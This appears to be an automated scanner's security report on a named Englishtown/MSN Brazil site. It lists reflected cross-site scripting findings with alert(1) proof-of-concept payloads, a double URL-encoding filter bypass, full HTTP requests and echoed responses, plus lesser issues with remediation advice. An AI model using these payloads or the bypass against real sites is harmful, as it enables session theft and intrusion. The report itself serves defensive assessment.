Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://englishtown.msn.com.br/_omniture/s_code.js [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://englishtown.msn.com.br
Path:
/_omniture/s_code.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5bdaa"-alert(1)-"c39f2714380 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not found Date: Wed, 03 Aug 2011 15:53:38 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC" X-Powered-By: ASP.NET Content-Length: 1981 Content-Type: text/html Cache-control: private Vary: Accept-Encoding
<html> <head> <title>Englishtown - The place to learn English</title> <style> body { font-family: verdana, arial, helvetica; font-size: 9pt; } td { font-size: 9pt; } </style>
<!-- ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:404:[/_omniture/s_code.js?5bdaa"-alert(1)-"c39f2714380=1]"; s.prop11="None" s.prop12="us_en" s.prop15="en" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
1.2. http://englishtown.msn.com.br/_omniture/s_code.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://englishtown.msn.com.br
Path:
/_omniture/s_code.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3abe2--><script>alert(1)</script>f299a446bb7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf379%2522%253balert%25281%2529%252f%252fd4a1a47f833 was submitted in the REST URL parameter 2. This input was echoed as cf379";alert(1)//d4a1a47f833 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 500 Internal Server Error Date: Wed, 03 Aug 2011 16:00:04 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC" X-Powered-By: ASP.NET cache-control: private pragma: no-cache Content-Length: 1759 Content-Type: text/html; Charset=ISO-8859-1 Expires: Wed, 03 Aug 2011 16:00:04 GMT Set-Cookie: lng=pt; expires=Sun, 01-Jun-2031 04:00:00 GMT; domain=englishtown.msn.com.br; path=/ Set-Cookie: ctr=br; expires=Sun, 01-Jun-2031 04:00:00 GMT; domain=englishtown.msn.com.br; path=/ Cache-control: private Vary: Accept-Encoding
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/online/ETValidation.axdcf379";alert(1)//d4a1a47f833]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8d0f%2522%253balert%25281%2529%252f%252f37b468fe1a8 was submitted in the REST URL parameter 1. This input was echoed as b8d0f";alert(1)//37b468fe1a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /b8d0f%2522%253balert%25281%2529%252f%252f37b468fe1a8/home.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/b8d0f";alert(1)//37b468fe1a8/home.aspx]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c83b%2522%253balert%25281%2529%252f%252f39aae44abc8 was submitted in the REST URL parameter 2. This input was echoed as 8c83b";alert(1)//39aae44abc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /online/home.aspx8c83b%2522%253balert%25281%2529%252f%252f39aae44abc8 HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/online/home.aspx8c83b";alert(1)//39aae44abc8]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d097c%2522%253balert%25281%2529%252f%252f35f1335fcc1 was submitted in the REST URL parameter 1. This input was echoed as d097c";alert(1)//35f1335fcc1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /d097c%2522%253balert%25281%2529%252f%252f35f1335fcc1/lp/PrivateTeacher_may11_pdf_lp.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/d097c";alert(1)//35f1335fcc1/lp/PrivateTeacher_may11_pdf_lp.aspx]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed7dc%2522%253balert%25281%2529%252f%252fa4cfe14d73b was submitted in the REST URL parameter 2. This input was echoed as ed7dc";alert(1)//a4cfe14d73b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /online/lped7dc%2522%253balert%25281%2529%252f%252fa4cfe14d73b/PrivateTeacher_may11_pdf_lp.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/online/lped7dc";alert(1)//a4cfe14d73b/PrivateTeacher_may11_pdf_lp.aspx]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.wr ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c47b%2522%253balert%25281%2529%252f%252f21d847aafe6 was submitted in the REST URL parameter 3. This input was echoed as 8c47b";alert(1)//21d847aafe6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /online/lp/PrivateTeacher_may11_pdf_lp.aspx8c47b%2522%253balert%25281%2529%252f%252f21d847aafe6 HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head> <title>Englishtown</title> <style> <!-- body {font-family: "Verdana,Arial"; font-size: 12px} a:link {color: #006699} a:visited {color: #006699} a:hover {color: #990033} / ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="Error:500:" + "[/online/lp/PrivateTeacher_may11_pdf_lp.aspx8c47b";alert(1)//21d847aafe6]"; s.prop11="None"; s.prop12="us_en"; s.prop15="en"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
2. Cookie without HttpOnly flag setpreviousnext There are 4 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /online/home.aspx?etag=msn_canal HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /online/lp/PrivateTeacher_may11_pdf_lp.aspx?ctr=br&lng=pt&etag=msn_pdf_interview HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
3. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://englishtown.msn.com.br
Path:
/online/home.aspx
Issue detail
The page contains a form with the following action URL:
https://secure.englishtown.com/login/handler.ashx
The form contains the following password field with autocomplete enabled:
Password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /online/home.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form which POSTs data to the domain secure.englishtown.com. The form contains the following fields:
UserName
Password
onsuccess
referer
p
Issue background
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
Request
GET /online/home.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /online/home.aspx?etag=msn_canal HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /online/lp/PrivateTeacher_may11_pdf_lp.aspx?ctr=br&lng=pt&etag=msn_pdf_interview HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /online/home.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><!-- USB-ETOWNSP1 : / ...[SNIP]... <!-- Scripts --> <script type='text/javascript' src='http://ak.englishtown.com/ETFileMergeHandler.ashx?fc=7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ%2fff%2fz9cZmQBbPbOStrJniGAqsgfP358Hz8ijp99cfz7XD25Pv787fH0%2bMnO8bevjl8cH%2f%2fg%2bOnZ8RfHx1f4%2b%2fnVk%2fPjb3fbfYHPf9Hxt0%2bPZz%2fxpDz%2b9tlx%2fhPHl8efV8fTn3iye%2fz5V8fTiyf3j092jr%2f4ieP18dOfOH5%2bcXx9fLJ%2fPPmJJ6vjz%2ffpb7xPcI7pvWcHx9OrJz8NONlPPKF%2bf4L%2bBryvjmfHxy0%2b%2f6mfePKD488P0B%2fh8YX8fXJwPLmgn%2fQ%2b%2fb2H9vQ340f9zPFzdiz4Pf%2bJ43fon%2fEBnlfHDd7%2fva8A9wvguzr%2b9jHaM9zs4sm7429%2fBbjXx99%2bGxvv%2bvjbv8%2fx7%2fMTTxrQ5aeO0d9PUHvA38E41ugvA34nG%2bnYMpwr4H96PDkGfX4CcHfQbnIFOAdKN8bzksd39WSB%2fiY87i96%2bM4uCJ%2fPr4DHW8CdMVzQ63bjp%2fm4d%2fz574N%2bCrQnuD%2bN%2fsy8%2fT8BAAD%2f%2fw%3d%3d&v=31-1'></script> ...[SNIP]... <!-- SalesPages js files --> <script type='text/javascript' src='http://ak.englishtown.com/online/ETFileMergeHandler.ashx?fc=7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ%2fff%2fz9cZmQBbPbOStrJniGAqsgfP358Hz8ijp99cfz7XD25Pv787fH0%2bMnO8bevjl8cH%2f%2fg%2bOnZ8RfHx1f4%2b%2fnVk8vjz%2fePJ8dPVvj5Uz9xfHn87OB4evXkp4%2b%2ffXac%2fcQTavcT9Dd9%2fvlXx7Nj%2bvzzi%2bPnF09%2b0fG3vzh%2bfozPD44nF08a9EM%2fy%2bOTg%2bPf%2b%2brJD44%2f%2f%2bJ4ekFwv32M936Az38f7m%2fnePIT0u%2fXhfNTP0Hj%2bfwK%2bBXHJ%2fvH2QU%2b%2f1rj2UV%2fXxcP%2bnmJv4m%2bc%2b1vffx5BfgNvp9cPVkrnmv0R%2fido59wXr7A5z%2fN%2ff7Ek1b6P26Pn9LnFzRPHza%2b9vjbvw%2f6o%2fGdHs9%2bgsZD7fKfeLJ3%2fPmpwvmJ49%2bH6flW8DX9%2fT8BAAD%2f%2fw%3d%3d&v=31-1'></script> ...[SNIP]... <!-- Place this tag in your head or just before your close body tag --> <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script> ...[SNIP]... <!-- Feature light box --> <script type="text/javascript" src="http://ak2.englishtown.com/_imgs/online/_scripts/iepngfix/iepngfix_tilebg.js"></script> ...[SNIP]... </script>
GET /online/lp/PrivateTeacher_may11_pdf_lp.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
name@domain.com
Request
GET /online/home.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
name@email.com
Request
GET /online/lp/PrivateTeacher_may11_pdf_lp.aspx HTTP/1.1 Host: englishtown.msn.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
